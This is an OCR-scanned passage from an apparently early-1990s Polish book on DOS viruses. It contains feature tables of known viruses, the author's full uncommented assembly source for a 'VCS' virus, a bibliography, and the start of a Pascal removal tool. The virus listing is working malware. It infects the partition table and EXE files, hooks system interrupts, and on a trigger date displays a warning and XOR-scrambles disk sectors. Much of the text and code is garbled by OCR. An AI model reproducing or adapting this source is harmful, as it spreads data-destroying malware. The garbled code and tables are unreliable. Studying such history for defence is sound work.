Atakuje boot sektor dyskietek-8 --+ 7 Atakuje pliki nakładkowe-----7- + 6 Atakuje pliki typu EXE--- --6------+ I I i 5 Atakuje pliki typu COM-----5-- --+ I I I I 4 Atakuje COMMAND.COM -4----+ I i I I I I 3 Instaluje się w pamięci--3---+ I I I I 2 Sam się rozkodowuje-----2--+ I I I I 1 Używa techniki Stealth-1-ţ I I ţ Zmiana długoœci zainfekowanego I I I I I I I I I I programu _ 1 2 3 4 5 6 7 8 9 10 I Zniszczenia Nazwa V V V V V V V V V V V V : :'ţ Hero (2) . . x x x x x . . . 506 O,L,P Hitchcock . . . x x . . . . . 1121 O,P Holland (6) . . . . x . . . . . 1332 P Holocaust (3) x . x x x . . . . . 3784 O,P,L,D Horse (7) . . x x x x x . . . 1154 O,P,L fiorse Boot . . x x x . . x x . N/A B,P . : ţ;ţţ Hybrid . . . x x . . . . . 1306 O,P,L H -2 x x x x x . . . 1962 O,P,L Hymn (3) x x x x x . . . 642 O,P,D Icelandic (3) . . x . . x . . . . 642 O,P Icelandic II . . x . . x : . . . 661 O,P Icelandic-3 . . x . . x . . . . 853 O,P IKVS2B . . . x x . . . . . 528 O,P Incom . . . . x . . . . 648 O,P Invader (8) . x x . x x x x x . 4096 B,L,O,P,D Iraqi Warrior . . . x x . . 777 O,P,L,D Ita Vir (3) . . . . . x . . . . 3880 O,P,L,B Jeff (3) . . . x x . . . . . 828 O,P,D,F Jerusalem (48) . . x . x x x . . . 1808 O,P Jo Jo (3) . . x . x . . . . . 1701 O,P Joker ( 3 ) . . x x x . . ţ ţ`ţţ Joshi (4) x . x . . . . x x x N/A B,O,D July l3th x . . . x . . . . 1201 O,P,L,D June l6th . . . x x . . . . . 1726 F,O,P,L Justice . . x x x . . . . . 1242 O,P .ţp; Kamikaze Keme (5) . . x x x . . . . . różna O,L,P,D Kennedy (4) . . x . x . . . . . 308 O,P Keypress (4) . . x x x x . . . . 1232 O,P,D :;.ţţ Klaeren . x x x x x x . . . 9ál O,P,L,D Korea (4) . . . x x . N/A B,O Kukaturbo . . x x x . . S Label . . x x x . . Lazy . . x x x . . . . . 720 O,P Leapfrog Virus (3) . . x x x . . . . . 516 O,P,D Leech x x x x x . . . . . 934 O,P,L,D Lehigh ( 2 ) . . x x . . . . . . N/A P , F Leprosy ( 7 ) . . x x x x x . . . S Leprosy-B . . . x x x . S Liberty (13) . . x x x x x . . . 2862 O,P Lisbon ( 2 ) . . . . x . . 64 8 P Little Pieces . . x . x x . . . . 1374 O,P Loa Duong . . x . . . . x x x N/A B,O,P,L Love Child (3) . . x x x . . 488 O,D Technika 10 Atakuje tablicę partycji dysku--10-- -+ 9 Atakuje boot sektor dysku------9--- -----+ I 8 Atakuje boot sektor dyskietek-8---- --+ I I 7 Atakuje pliki nakładkowe-----7-------+ 6 Atakuje pliki typu EXE--- --6 ł 5 Atakuje pliki typu COM-----5-----+ I I I I 4 Atakuje COMMAND.COM--------4----+ I I I I 3 Instaluje się w pamięci--3---+ ţ I I I 2 Sam się rozkodowuje-----2--+ I I I I 1 Używa techniki Stealth-1-+ I I I I Zmiana dţugoœci I I I I I I I zainfekowanego I I Programu 1 2 3 4 5 6 7 8 9 10 I Zniszczenia I I I I I I I I I I I I Nazwa V V V V V V V V V V V V Lozinsky (4) . . . x x . . . . . 1023 O,P,D Lucifer x . x x x x x . . . 1086 O,P,D,L Mardi Bros. (3) . . x . . . . x x . N/A B,0 MGTU Virus (4) . . . x x . . 273 O,P,D Michaelangelo . . x . . . . x x x N/A B,O Microbes . . x . . . . x x . N/A B,O,D Miky . . x x x x x . . . 2350 O,P,L Mir (2) . . x x x x x . . . 1745 O,P,L Mirror (2) . . x . . x . 928 O,P MIX1 . . x . . x . . . . 1618 O,P Mix2 . . x x x x x . . . 2280 O,P Monxla (3) . . . x x . . 939 O,P Monxla-B . . . x x . . 535 O,P,L Mosquito . x x . . x x . . . 1028 O,P,D Mule (2) . x x x x . . . . . 4171 O,P,D Murphy (6) . . x x x x x . . . 1277 O,P Music Bug (11) . . x . . . . x . x N/A B,0 Necrophilia . . x x x . . . . . różna O,P,L,D New Sunday . . x . x x x . . . 1636 O,P,L,D Newcom . . x x x . . . . . 3045 O,P,L Nina . . x x x . . 256 O,P,D Nomenclature (4) . . x x x x x . . . 1024 O,P,D Number 1 . . x x x . . . . . 11240 O,L,P Off Stealth x . x x x x x . . . 1689 O,P,D Ontario . x x x x x . . . . różna O,P,D Oropax (5) . . x . x . . . . . 2773 P,0 P1 (7) . x x . x . . . . . różna O,P,D,L Paris . . . x x x x . . . 4909 O,P,D,L Parity . . . x x . . 441 O,P,D , Payday ( 3 ) . . x . x x x . . . 18 0 8 P Pentagon . . . x . . N/A B Perfume (2) . . . . x . . 765 P Pest (8) . . x x x x x . . . 1910 O,P,L Phantom . . x x x . . . . . 2253 O,P ' Ping Pong-B (7) . . x . . . . x x . N/A O,B Pixel (5) . . . x x . . 779 O,P Plague (3) . . . . x x . 5 Plastique (9) . . x x x x x . . . 3012 O,P,D Polimer . . . x x . . 512 O,P,D Polish 217 . . . x x . . 217 O,P,D Polish-2 . . x x x . . 512 O,P,D Print Screen (2) . . x . . . . x x . N/A B,O,D R-10 . . x x x . . 500 O,P R-11 x . x x x . . 700 O,L,D 252 Technika: 10 Atakuje tablicę partycji dysku--10-- + 9 Atakuje boot sektor dysku 9------ --+ I 8 Atakuje boot sektor dyskietek-8 --+ 7 Atakuje pliki nakiadkowe-----7- + 6 Atakuje pliki typu EXE------6------+ I I 5 Atakuje pliki typu COM-- --5-----+ I I I I 4 Atakuje COMMAND.COM -4----+ I I I I 3 Instaluje sig w pamięci--3---+ I I I I 2 Sam się rozkodowuje-----2--+ I I I I 1 Używa techniki Stealth-1-ţ I ţ Zmiana długoœci zainfekowanego r: I I I I I I I I I I programu 1 2 3 4 5 6 7 8 9 10 I Zniszczenia I I I I I I I I I I I I Nazwa V V V V V V V V V V V V RedX (2) . . . x x . . . . . 796 O,P S-g47 . . x . x . . . . . 850 O,P Saddam . . x x x . . . . . 919 O,P,D,L Saturday l4th (3) . . x . x x x . . . 685 F,O,P,L Scott's Valley . x x . x x x . . . 2133 L,O,P,D Sentinel (4) . . x x x x x . . . 4625 L,O,P,D Shadow Byte (3) . . . x x . . . . . 723 O,P Shake (2) . . x . x . . . . . 476 O,P Skism . . x . x x x . . . 1815 O,P Slow (5) . x x . x x x . . . 1721 O,P,L Solano (4) . . x . x . . . . . 2000 O,P,L Sorry (3) . . x x x . . . . . 731 O,P Spanish . . x x x x x . . . 2930 O,P,L,D Spanz . . x x x . . . . . 663 O,D Spar . . x x x x . . . . 1255 O,P Spyer (3 ) . . x . x x x . . . 1181 O, P Staf . . x x x . . . . . 2083 O,P,L Star Dot (4) . . x . x . . O,P,L Stone-90 . . . x x . . . . . 961 O,P Stoned (26) . . x . . . . x . x N/A O,B,L Striker . . x x x . . . . . 461 D,O,P,F ;ţ"ţ Subl iminal ( 3 ) . . x x x . . . . . 14 9 6 O , P ': ' Sunday (6) . . x . x x x . . . 1636 O,P SUR I V Ol . . x . x . . . . . 897 O,P SURIVO2 . . x . . x . . . . 1488 O,P Sverdlov (2) . . x x x x x . . . 1962 O,P Swap Boot . . x . . . . x . . N/A B Swiss . . . x x . . . . . 143 O,P,D , u Ta iwan ( 91 . . . x . . . . . 7 0 8 P Taiwan3 . . x x x x x . . . 2905 O,P,D,L Taiwan4 . . x x x x x . . . 2576 O,P,D Telecom Boot . x x . . . . . x x N/A B,P Telecom File . x x . x . . . . . 3700 B,P,O,D Terror (3) . . x x x x x . . . 1085 O,P,F Tester . . x x x . . . . . 1000 O,P Tiny ( 19 ) x x . . . . . 163 O,P Tiny-133 . . . x x . . . . . 133 O,P Traceback (3) . . x . x x . . . . 3066 P Tuesday (2) . . x . x x x . . . 1163 O,P,L Tumen V5 . . x x x . . . . . 1663 O,P,L,D Tumen V2 . . x x x . . . . . 1092 O,P,L,D Typo/Fumble . . x . x . . . . . 867 O,P Typo Boot (2) . . x . . . . x x . N/A O,B USSR 492 . . . . x . . . . . 492 O,P Technika: 10 Atakuje tablicę partycji dysku--10--- + 9 Atakuje boot sektor dysku 9---------+ I 8 Atakuje boot sektor dyskietek-8 --+ I I 7 Atakuje pliki nakładkowe-----7- + 6 Atakuje pliki typu EXE------6------+ I 5 Atakuje pliki typu COM-----5-- --+ I I I I 4 Atakuje COMMAND.COM -4----+ I I I I 3 Instaluje się w pamięci--3---+ I I I I 2 Sam sig rozkodowuje-----2--+ I I I I 1 Używa techniki Stealth-1-ţ ţ Zmiana długoœci zainfekowanego I I I I I I I I I I programu 1 2 3 4 5 6 7 8 9 10 I Zniszczenia I I I I I I I I I I I I Nazwa V V V V V V V V V V V V USSR-394 . x . x x . . . . . 394 P,D USSR 1049 . . x x x x . . . . 1049 O,P,L USSR (11) . x . . . x . . . . 575 O,P USSR-257 . x . x x . . . . . 257 P,D USSR-948 . x . . x x x . . . 948 O,P,D USSR-696 . x . . x . . . . . 696 P,D USSR-707 . x . x x . . . . . 707 P,D USSR-711 . x . . x . . . . . 711 P,D USSR-600 . x . x x . . . . . 600 P,D USSR-256 (5)ţ . x . x x . . . . . 256 P,D US S R2l44 (8) . x x x x x x . . . 2144 L,O,P,D USSR3l1 . . . . x . . . . . 321 O,P USSRSl6 . . x x x . . . . . 516 O,P USSRB3O . . x x x . . . . . 830 O,P V-125 . . x x x . . . . . 125 P V-299 . . . . x . . . . . 299 O,P,D V-555 . . x x x x x . . . 555 O,P,L V-961 . . x x x . . . . . 961 O,P V-483 . . x x x . . . . . 483 O,L V-801 . . x x x x x . . . 801 O,P,L V2000 (3) . . x x x x x . . . 2000 O,P,L V2100 (5) . . x . x x . . . . 2100 O,P,L,D V800 (3) x x x . x . . . N O,P,L V812 (2) . . x x x x x . . . 812 O,D VACSINA (17) . . x . x x x . . . 1206 O,P Vcomm (5) . . . . . x . . . . 1074 O,P,L Victor (2) . . x x x x x . . . 2458 P,D,L Vienna/648 (42) . . . . x . . . . . 648 P Violator (5) . . . x x . . . . . 1055 O,P,D ` Virus-101 . x x x x x x x . . 2560 P Virus-90 . . x . x . . . . . 857 P Voronezh (2) . x x x x x x . . . 1600 O,P,D W-13 (4) . . . . x . . . . . 532 O,P Warrior . . x . . x . . . . 1024 O,P,D Whale (34) x x x x x x x . . . 9216 L,O,P,D Wisconsin (3) . x . x x . . . . . 825 O,P,D Wolfman (3) . . x x x x . . . . 2064 O,P XA1 . x . . x . . . . . 1539 F,O,P,L Yankee Doodle (9) . . x . x x . . . . 2885 O,P Yankee - 2 . . . . x x . . . . 19 61 0 , P Zero Hunt x x x . x . . . . . N/A O,P,D ţ Ł/ 30. Wirus VCS Poniżej wypisany jest pełny listing przykładowego wirusa napisanego przeze mnie. W tekœcie nie umieszczałem żadnych komentarzy. Zrobiłem to po to, aby nie ułatwiać życia naszym "terrorystom". Jeœli przeczytałeœ poprzednie częœci ksišżki to wszystko powinno być dla Ciebie jasne. Jeœli natomiast rozpoczšłeœ lekturę od tego miejsca to radzę wrócić do poczštku Masz prawo wykorzystywać ten program w dowolny sposób, kopiować go na papier, dysk, taœmę, itd., modyfikować oraz wykorzyslywać we fragmentach swoich programów, z dwoma istotnymi ograniczeniami: ů Program nie może być wykorzystywany w celach komercyjnych. ů Pod żadnym pozorem nie może opuœcić Twojego komputera. ł-amišc te zasady, bierzesz na siebie odpowiedzialnoœć za wszelkie konsekwencję, które to może przynieœć. Na wszelki wypadek informuję, iż szczepionka przeciwko temu wirusowi będzie przeze mnie rozprowadzana jako freeware, tak więc wszelkie próby wklepania tego wirusa i terroryzowania komputerów wokoło lub zarażenia pracowni w szkole czy uczelni nie będš miały specjalnych szans na powodzenie. Zamiast tego radzę dokładnie przestudiować ksišżkę i samodzielnie poznać swój komputer w celach, mam nadzieję, bardziej pokojowych. Wirus VCSţ(AND). dosseg .model tiny .stack 30h data haslo equ Offffh odzew equ Oaaaah - "'=e .code tablicaţpartycjiţ call test boot xor ax , ax mov s s , ax mov sp,7c00h int 19h mov c1,6 Rsh1 ax,cl mov cx,100h sub ax , cx mov adres,ax mov dx,80h mov cx , 2 mov es , ax mov bx , 0 mov ax,0206h int 13h mov ax,adres push ax mov ax,offset czescţinicjujaca push ax retf adres dw O9FOOh test boot: puœh ax ţ" push bx push cx mov ax,0907h mov bx,4eh mov cx 3 h ; :; ţ . int 10h mov ah , 2 mov bx , 0 mov dx , 0 int 10h pop cx pop bx pop ax ret ::ţ: uţĆ ţr 255 nop nop nop noţ koniec tablicyţpartycji: czescţinicjujaca: mov ax , c s mov s s , ax mov ds , ax mov sp,offset bufor[l00h] mov dx,80h mov cx , 9 xor ax , ax mov es , ax mov bx,7c00h Rpushes push bx mov ax,0201h int Tl3h call instalowanieţprzerwania 1ch call instalowanieţprzerwaniaţl2h retf nop nop nop nop napisl db 13 10 'Twoj komputer zostal zainfekowany przez ' 13,10,'$' napis2 db 'Wirusa VCS. Nie wylaczaj komputera bo ,13,!0,'$' napis3 db 'stracisz wszystkie dane na dysku twardym. ,13,10,'$' instalowanieţprzerwaniaţlch: push ds push es mov cx , c s mov ds , cx xor dx , dx mov es , dx mov licznik,0 mov ax,es:70h mov adres lch ofs,ax mov es:70h,offset przerwanieţlch mov ax,es:72h mov adres lchţseg,ax mov es:72h,cx mov ax,es:84h mov word ptr [adres 21h ofs],ax mov ax,es:86h mov word ptr adres 21h ofs(2),ax pop es pop ds ret instalowanieţprzerwaniaţl2h: push ds push es mov cx , cs mov ds , cx xor dx , dx mov es , dx mov ax,es:48h mov word ptr[adres 12h ofs],ax mov es:48h,offset przerwanieţl2h mov ax,es:4ah mov word ptr adresţl2h ofs(2],ax mov es:4ah,cx pop es pop ds ret adres 12h ofs dd far ptr (?) przerwƒni‚_12h: pushf cli call cs:far [adresţl2ţ ofs+2) sti sub ax , 4 ' cli iret pisz: mov ah , 9 int 21h ret wydrukowanie ostrzezenia: push ƒx push dx push ds " ;ţ~ mov ax , c s mov ds , ax mov dx,offset napisl call pisz mov dx,offset napis2 call pisz mov dx,offset napis3 call pisz pop ds pop dx pop ax ret adres lch ofs dw (?) adreœ lcYi seg dw ( ? ) licznik dw 0 opoznienie equ l00h przerwanie_lch: push ax push bx push dx push ds push es mov ax , c s mov ds , ax mov ax,licznik inc a ;ţ' cmp ax,opoznienie _ j ge zmiana ů ~ ţ: mov licznik,ax jmp wyjscieţzţlch zmiana: mov ah,2ah int 21h cmp dx,060eh jne zmien adresy call kodowƒnie call dezaktywacja ţ :ţţ , mov ax,Offffh push ax mov ax , 0 push ax ţţţ;* retf zmien_adresyů mov ah 3 4h int 21h mov ah,es:[bx) or ah , ah jnz wyjscie z 1ch call test boót c al 1 zmi eń_adresyţpr z erwan ' ţ: fK mov ax , c s mov ds , ax mov dx,adres 1ch ofs mov ax,adresţlchţseg mov ds , ax mov ax,251ch int 21h wyjscie z 1ch: op es pop ds pop dx ţ* pop bx ţop ax iret podstawa xerowania db 59h kodowanie: mov ax,0003h int lOh call wydrukowanie ostrzezenia mov cx , c s mov ds , cx mov bx,offset bufor mov a 1, 2 mov cx , 0 mov dx , lh petla: inc dx cmp dx,20h je koniec kodowania push ax push bx push cx ţush dx int 25h popf cal 1 xeruj Rpop dx pop cx pop bx pop ax push ax push bx push cx ush dx int 26h popf pop dx pop cx pop bx pop ax jmţ petla koniec_kodowania: ret dezaktywacja: mov dx,80h mov cx , 9 mov ax , c s mov es , ax mov bx,offset bufor mov ax,0201h int 13h mov dx,80h mov cx ,1 mov ax , c s mov es , ax mov bx,offset bufor mov ax,0301h int 13h ret xeruj: push ds push es push ax push bx push cx , pushTdx mov ax , c s mov ds , ax mov bx , 0 mov cx,lffh petla xeruj: mov bx , cx mov ah,byte ptr [podstawa_xerowania] mov dh,byte ptr bufor(bx) xor ah , dh mov byte ptr bufor[bx),ah loop petla xeruj pop dx pop cx pop bx pop ax pop es pop ds ret 258 zmien adresyţprzerwan: sti push ax push bx push cx push dx push ds push es mov ax,haslo int 21h cmp ax odzew je koniec_zmianyţadresow mov cx , c s mov ds , cx xor dx , dx mov es , dx .;r mov ax es : 4ch mov word ptr[adresţl3h ofs] ax mov es:4ch,offset przerwani‚ 13h mov ax es : 4eh mov word ptr adresţl3h ofs[2],ax mov es:4eh,cx mov ax,es:84h mov word tr[adres 21h ofsj ax mov es:84ţ,offset przerwani‚ 21h mov ax es : 86h mov word ptr adresţ2lh ofs[2],ax mov es:86h,cx koniecţzmianyţadresow: pop es pop ds pop dx pop cx pop bx po)> ax cli ret przechwycenieţprzerwan: push ds push es mov bx,((offset koniec) - (offset tablicaţpartycji)) mov c 1, 4 shr bx , cl inc bx mov ah,48h int 21h jnc pamiecţprzydzielona mov bx,((offset koniec) - (offset tablicaţpartycji)) "ţ; mov c 1, 4 shr bx , c 1 inc bx mov ax , ds mov es , ax mov ax,es:2 sub ax , bx mov es:2,ax push ax mov ax , es dec ax mov es , ax mcv ax,es:3 sub ax , bx mov es:3,ax pop ax pamiecţprzydzielona: push ax mov bx , c s mov ds , bx mov es , ax mov di , offset tablica-partycj i ,ţ ţ mov si,offset tablicaţpartycţi mov cx,offset koniec[50h) cld rep movsb mov ax,offset skokţpoţprzeniesieniu wţpamieci , ' . ţi push ax retf Skokţpoţprzeniesieniu wţpamieci: call zmien adresyţprzerwan koniecţprzechwyty–ianiaţprzerwan: pop es pop ds ret adres 21h ofs dd far ptr (?) licznik zƒrazen db 0 przerwanie_21h: sti push ax push bx push cx push dx push si push di push ds push es pushf cmp ah,0eh jne pl mov al,licznikţzarazen inc al and al,7fh mov licznikţzarazen,al cmp a 1, 0 jne pl call zarazenieţpliku jmp end 21h p1: cmp ax,haslo j ne p2 popf pop es pop ds pop di pop s i pop dx pop cx pop bx pop ax mov ax,odzew cli iret p2: end 2 lh : popf pop es pop ds pop di pop s i pop dx pop cx pop bx poţ ax cli ' jmp cs:far [adres 21h ofs+2] adresţl3h ofs dd far ptr (?) przerwani‚_13h: sti pushf cmp ah , 2 jne dalej cmp dh , 0 jne dalej cmp dl , 0 je dalej cmp dl ,1 je dalej cmp cx ,1 jne dalej mov cx , 9 dalej: 260 poţf cli jmp cs:far [adres 13h ofs+2] bufor db 200h dup (?) zarazenieţtablicyţpartycji: push ds push es mov dx,0080H mov cx,0001H mov ax , c s mov es , ax mov bx,offset bufor mov ax,0201h int 13h mov ax , c s mov ds , ax mov es , ax mov si,offset bufor mov di,offset tablica-partycji cld mov cx,18h rep cmpsb jne nie zarazona j mp k nie zarazona: mov dx,80h mov cx , 9 mov ax , c s mov e s , ax mov bx,offset bufor mov ax,0301h int 13h mov cx (offset koniecţtablicyţpartycji) - (offset tablicaţpartycji) mov ax , c s mov ds , ax mov es , ax mov si,offset tablicaţpartycji mov di,offset bufor cld rep movsb ~ţt mov dx,80h mov cx ,1 mov ax , c s mov es , ax mov bx,offset bufor mov ax,0301h int 13h mov dx,80h mov cx , 2 mov ax , c s mov es , ax ţţ'ţ* mov bx,offset tablicaţpartycji mov ax 0 3 0 6 h int 13h ţi‰; pop es pop ds ret ipţstart dw ( ? ) ;' cs start dw (?) napis4ţ db 'Ten plik jest zarazony',13,10,'$' startţpliku exe: push ƒs push es mov ax,haslo int 21h cmp ax odzew je wlƒsciwyţstartţpliku xor ax , ax mov es , ax int Tl2h mov c 1, 6 shl ax, cl cmp es:4ah,ax je wlasciwyţstartţpliku push ds mov ax , c s mov ds , ax mov dx,offset napis4 call pisz pOp ds call przechwţcenieţrzerwan call zarazenie_tablicyţpartycji wlasciwyţstartţpliku mov cx , c s mov ds , cx mov ax, cs start mov bx,ipţstart pop es pop ds mov cx , ds add ax , cx add ax,l Oh push ax push bx retf handle dw(?) dlugoscţpliku segdw (?) dlu oscţplik– ofsdw (?) nag owek dw (?) czas dw ( ? ) data dw ( ? ) wzorzec db '*.exe',0 zarazenieţpliku: push ax push bx push cx push dx push si push Tdi push ds push es pushf mov ah,4eh mov cx , c s mov ds , cx mov dx,offset wzorzec mov cx,Ofh int 21h jnc znalezionyţplik typu exe ţmp koniec zarazaniaţpliku znalezionyţplikţtypu exe: mov ah,2fh int 21h mov cx , es mov ds , cx mov dx , bx add dx,leh szukanie niezarazonegoţpliku: mov ax,3d02h int 21h mov cx , cs mov ds , cx mov bx , ax mov handle,ax mov ax,5700h int 21h cmp cl,Offh jne do_zarazenia mov ah 3 eh int 2 lh mov ah,4fh Rint2lh jnc znalezionyţplikţtypu exe ţmp koniecţzarazaniaţpliku doţzarazenia: 262 mov cl,Offh mov data,dx ; ţ; mov czas,cx mov cx , 0 ~::ţ ţ mov Tdx,0 mov ax,4202h int 21h mov dlugoscţlikuţseg,dx Rmovdlugoscţpliku ofs,ax mov cx , 0 mov dx , 0 mov ax 42 0 Oh int 21h mov ax , c s mov ds , ax mov dx,offset bufor mov cx,20h mov ax,3f00h int 21h cmp word ptr [bufor) , ' ZM' j e pl ikţtypu exe jmp plikţza duzy plikţtypu exe: mov ax,offset koniec mov c 1, 9 shr ax , cl and ax,lffh mov cx , ax mov ax,word ptr bufor[4) add ax , cx inc ax mov word ptr bufor[4],ax mov ax,word ptr bufor[8) mov naglowek ax mov ax,word ptr bufor[16h) mov cs_start,ax mov ax dlugoscţplikuţseg cmp ax,02h j le plik ok jmp plikţza duzy _ _ plik ok : mov c1,O Ch shl ax, cl and ax,0f000h mov dx , ax mov ax,dlug ‹ ţ ţ iku ofs shr ax , c 1 and ax,Offfh add ax , dx mov dx,naglowek sub ax , dx inc ax mov word ptr bufor[16h] ax mov ax,word ptr bufor[14h] mov ipţstart ax mov ax offset startţpliku exe mov word ptr bufor[14h],ax mov cx , 0 mov dx , 0 mov ax,4200h int 21h mov dx,offset bufor mov cx,20h mov ax,4000h int 21h mov cx , 0 mov dx , 0 mov ax 4 2 0 2h int 21h mov ax,dlugoscţpliku ofs and ax,000fh cmp ax 0 jne zaokraglenie doţló mov cx,Ofh j mp O K zaokraglenie do 16: mov ćx,Ó00fh sub cx , ax OK: inc cx mov dx, offset tablicaţpartycji mov ax,4000h int 21h mov cx , 0 mov Tdx,0 mov ax,4202h int 21h mov dx,offset tablicaţpartycji mov ax,offset koniec mov c 1, 9 shr ax , cl inc ax mov c 1, 9 shl ax, cl mov cx , ax mov ax,4000h int 2 lh plik za duzy: mov cx,czas mov dx,data mov ax,5701h int 21h mov Tah,3eh int 21h koniecţzarazaniaţpliku: popf pop es pop ds pop di pop s i pop dx pop cx pop bx pop ax ret install: call zarazenieţtablicyţpartycji mov ah,4ch int 21h koniec: end install 31. Literatura. 1. IBM Personal Computer XT/AT Technical Reference Manual. IBM. 2. Microsoft MS-DOS Programmer's Reference. Taiwan. Wugo/PC 1983. 3. Norton P.: The Peter Norton Programmer's Guide to IBM PC. Bellevue. Microsoft Press 1985. 4. Turbo Assembler Reference Guide. Borland 1990. 5. Turbo Assembler User's Guide. Borland 1990. 6. Deminet J.: System Operacyjny MS-DOS. Warszawa. WNT 1990. 7. Gorsline G.W.: Mikrokomputery 16-bitowe. Rodzina Intel I8086. Warszawa. WNT 1990. 8. Grabowski J. Koœlacz S.: Podstawy i praktyka programowania mikroprocesorów. Warszawa. WNT 1987 9. H. Feichtinger: MikrokompuLery - poradnik. Warszawa. WKił.1988. 10. Pierikos J. Moszczyriski S. Pluta A.: Układy Mikroprocesorowe w modułowych systemach sterowania. WKit.. Warszawa 1988. 264 32. Szczepionka (ţ$M 1 384 Ó 2Ó036 }'I+,L+,N-,O-,R-,S+,V+,X-} ***********************************************************} {** **} SZCZEPIONKA PRZ:ECIWKO WIRUSOWI VCS/AND **} {** **} ** ANDRZEJ DUDEK JELENIA GORA O1 O8 1992FREEWARE **} {** **} ** { PROGRAM MOZE BYC DOWOLNIE ROZPOWSZECHNIANY I **} ** ** MODYFIKOWANY. **} { W PRZYPADKU DOKONANIA JAKICHKOLWIEK ZMIAN PROSZE O **} ** ZAZNACZENIE TEGO W TYM MIEJSCU. **} {** **} {** {*********************************************************** uses menus,app,drivers,objects,views,dialogs,dos; const b$E8 ţ3c Ó Œ Ók$33Y$Ćţ $8E,$DÓ $BCţ$Ó, 7ţţ$ĆD,$ţ2t $Bl,$6,$D3,$EO); haslo=$ffff; odzew=$aaaa; var usuniet :booleanů bufor . array [0..3000] of byte; type pnapis ="tnapisţ tnapis =object(Łview) tekst :array[1..8] of string; numerlinii :byteţ constructor init(var bounds:trect); procedure draw;virtual; end; ':% taplikacja =object(tapplication) menu : boo 1 ean ; ţ'‰ napis:pnapis; constructor initů procedure initdesktop;virtual; procedure initmenubarůvirtualţ procedure initstatusline;virtual; procedure pisz(s:string)ţ function wyborţplikow:pathstrů procedure Handle Event(var event:tevent);virtual; procedure usuniecie_z systemuů procedure usuniecie z tablicyţ?artycji- procedure usuniecieţzţpliku (nazwa:pathstr) ` ţ procedure usuniecieţzţgrupyţplikow (nazwa:pathstr); ţţ9 end; ţL: hcl=1001; hc2=1002; hc3=1003; hc4=1004; hc5=1005; hc6=1006; cml=101; cm2=102; cm3=103; cm4=104; cm5=105; { Tnapis} constructor tnapis.init(var bounds:trect); var i:integer; 32. Szczepionka {$A+ B- D+ E+ F- G-,I+,L+,N-,O-,R-,S+,V+,X-} {$M 16384 Ó 2Ó0360} {***********************************************************} (** **} {** SZCZEPIONKA PRZECIWKO WIRUSOWI VCS/AND **} {** **} ** {** ANDRZEJ DUDEK JELENIA GORA Ol 08 1992FREEWARE **} {** {** PROGRAM MOZE BYC DOWOLNIE ROZPOWSZECHNIANY I **} {** MODYFIKOWANY. **} {** W PRZYPADKU DOKONANIA JAKICHKOLWIEK ZMIAN PROSZE O **} {** ZAZNACZENIE TEGO W TYM MIEJSCU. **} ** **} *********************************************************** uses menus,app,drivers,objects,views,dialogs,dos; const b$E8 Œ3c Ó $Ók$33Y$Ćţ $8E,$DÓ $BCţ1$Ó,$$71ţţ$CD,$ţ2t $Bl,$6,$D3,$EO); haslo=$ffff; odzew=$aaaa; var usuniet :boolean; bufor . array [0..3000] of byte; type pnapis ="tnapisţ tnapis =object(Łview) tekst :array[1..8] of string; numerlinii :byteţ constructor init(var bounds:trect); procedure draw;virtual; 'ţ end; taplikacja =object(tapplication) ;: menu: boolean; napis:pnapis; constructor initů procedure initdesktop;virtual; procedure initmenubarůvirtualţ procedure initstatusline;virtual; procedure pisz(s:string); function wyborţplikow:pathstrţ procedure Handle Event(var event:tevent);virtual; procedure usuniecie z systemuů procedure usunieci‚ z tablicyţartycjiů procedure usuniecieţzţpliku (nazwa:pathstr)ţ procedure usuniecie zţgrupyţplikow (nazwa:pathstr); end; const hcl=1001; hc2=1002; hc3=1003; hc4=1004; hc5=1005; hc6=1006; cml=101; cm2=102; cm3=103; cm4=104; cm5=105; { Tnapis} constructor tnapis.init(var bounds:trect); var i:integer; 265 begin tview.init(bounds); setstatelsfshadow,true); for i:=1 to 8 do tekst[1]:= , numerlinii:=1; end; procedure tnapis.draw; var i:byte; begin tview.draw; for i:=1 to 8 do writestr(l,i,tekst[i],1); writechar(0,0,#$c9,1,1); writechar(1,0,#$cd,1,68); writechar(69,0,#$bb,l,l); writechar(0,9,#$c8,1,1); writechar(1,9,#$cd,l,68); writechar(69,9,#$bc,l,1); for i:=1 to 8 do writechar(O,i,#$ba,l,l); for i:=1 to 8 do writechar(69,i,#$ba,l,l); end; { Taplikacja} constructor taplikacja.init; var okno :pdialog; R : trect ; wynik:word; i :byte; begin tapplication.init; menubar^.hide; r.assign(5,1,75,11); napis:=new(pnapis,init(r)); ţţ=" desktop^ . insert (napis) ; napis^.hide; R.assign(10,1,70,10); okno:=new(pdialog,init(R,")); R assiţn(25 6 35 8); okno^.insert(ńew(Pbutton,init(R,'~5~tart', cmok,bfdefault))); R assiţn(1 1 59 2)ů okno^.insert(new(Pœtatictext,init (R, 'Szczepionka przeciwko wirusowi VCS/AND'))) R assiţn(1 2 59 3)ţ okno^.insert(new(Pœtatictext, init(R,'Andrzej Dudeklipiec 1992'))); R assiţn(1 4 59 5)ů okno^.insert(new(Pstatictext,init(R, 'Program moze byc dowolnie kopiowany i wykorzystywany'))); wynik:=desktop^.Exec View(okno); menu:=true; for i:=1 to 16 do bufor[i):=0; napis^.show; end; procedure taplikacja.initdesktop; var r:trect; begin getextent(r); r.b.y:=r.b.y-l; desktop:=new(pdesktop,init(r)); end ; procedure taplikacja.initmenubar; var ţ:trect; begin Tr.assign(27,12,55,21); menubar:=new(Pmenubox,Init(R,New Menu( newitem('~ S~ystem','F1',kb Fl,cml,hcl, newitem('~ T~ablica partycji','F2',kb F2,cm2,hc2, newitem('~ P~liki .EXE','F3',kb F3,cm3,hc3, newitem('~ G~rupa plikow','F4',kb F4,cm4,hc4, ':. ff 266 newitem('~ D~ezaktywacja ' 'F5',kb FS,cm5,hc5, newitem('~ K~oniec ','ESC',kb ESC,cm Quit,hc6, nil))))))), -"ţ nil) ) ; end; procedure taplikacja.initstatusline; var r:trect; begin getextent(r); r.a.y:=r.b.y-1; statusline:=new( statusline,init(r, newstatusdef(0,9 9, newstatuskey('~ Nacisnij Enter lub ESC !~ ,kbnokey, cmno, nil),newstatusdef(hcl,hc1, newstatuskey('Dezaktywacja wirusa VCS/AND w systemie', kb Fl,cml,newstatuskey('~ESC~ - Koniec ',kb ESC, Cm Quit, nil)),newstatusdef(hc2 hc2,newstatuskey( 'Usuniecie wirusa VCS/AND z tablicy partycji.', kb F2,cm2, newstatuskey('~ESC~ - Koniec',kb ESC, Fů Cm Quit nil)) newstatusdef(hc3 hc3,newstatuskey( 'Usuniecie wirusa VCS/AND z plikow typu .EXE. , 'ţ" kb F3 cm3 newstatuskey('~ESC~ - Koniec' kb ESC Cm Quit, ńil)),newstatusdef(hc4,hc4,newœtatuskey( 